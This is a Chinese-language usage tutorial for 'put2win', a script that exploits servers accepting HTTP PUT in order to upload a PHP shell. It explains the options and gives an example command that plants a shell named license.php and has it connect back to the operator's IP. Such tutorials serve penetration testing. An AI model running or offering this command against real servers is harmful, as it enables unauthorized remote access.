put2win 项目安装与使用教程
1. 项目目录结构及介绍
put2win/
├── LICENSE
├── README.md
└── put2win.sh
- LICENSE: 项目的许可证文件,采用 GPL-3.0 许可证。
- README.md: 项目的说明文件,包含项目的简介、安装方法和使用说明。
- put2win.sh: 项目的启动脚本,用于自动化 PUT HTTP 方法的漏洞利用,以获取 shell。
2. 项目启动文件介绍
put2win.sh 是项目的启动文件,主要用于自动化 PUT HTTP 方法的漏洞利用。该脚本支持多种选项,可以根据需要进行配置和使用。
使用方法
./put2win.sh -t TARGET -p PORT -u URL_PATH -l LOCAL_IP -s SHELL_NAME
选项说明
-t TARGET
: 目标 URL 或 IP 地址(例如:192.168.1.10)。-p PORT
: 目标端口(例如:8080)。-u URL_PATH
: 保存 shell 的路径(例如:/uploads)。-l LOCAL_IP
: shell 将连接的本地 IP 地址(例如:192.168.1.5)。-s SHELL_NAME
: shell 的名称(例如:license.php)。
3. 项目配置文件介绍
put2win 项目没有独立的配置文件,所有的配置选项都在启动脚本 put2win.sh
中通过命令行参数进行设置。用户可以根据需要调整这些参数来适应不同的目标环境和需求。
示例
./put2win.sh -t 192.168.1.10 -p 8080 -u /uploads -l 192.168.1.5 -s license.php
以上命令将针对目标 IP 为 192.168.1.10
,端口为 8080
的服务器,在路径 /uploads
下上传一个名为 license.php
的 shell,并使其连接到本地 IP 192.168.1.5
。
通过以上步骤,您可以成功安装并使用 put2win 项目来自动化 PUT HTTP 方法的漏洞利用。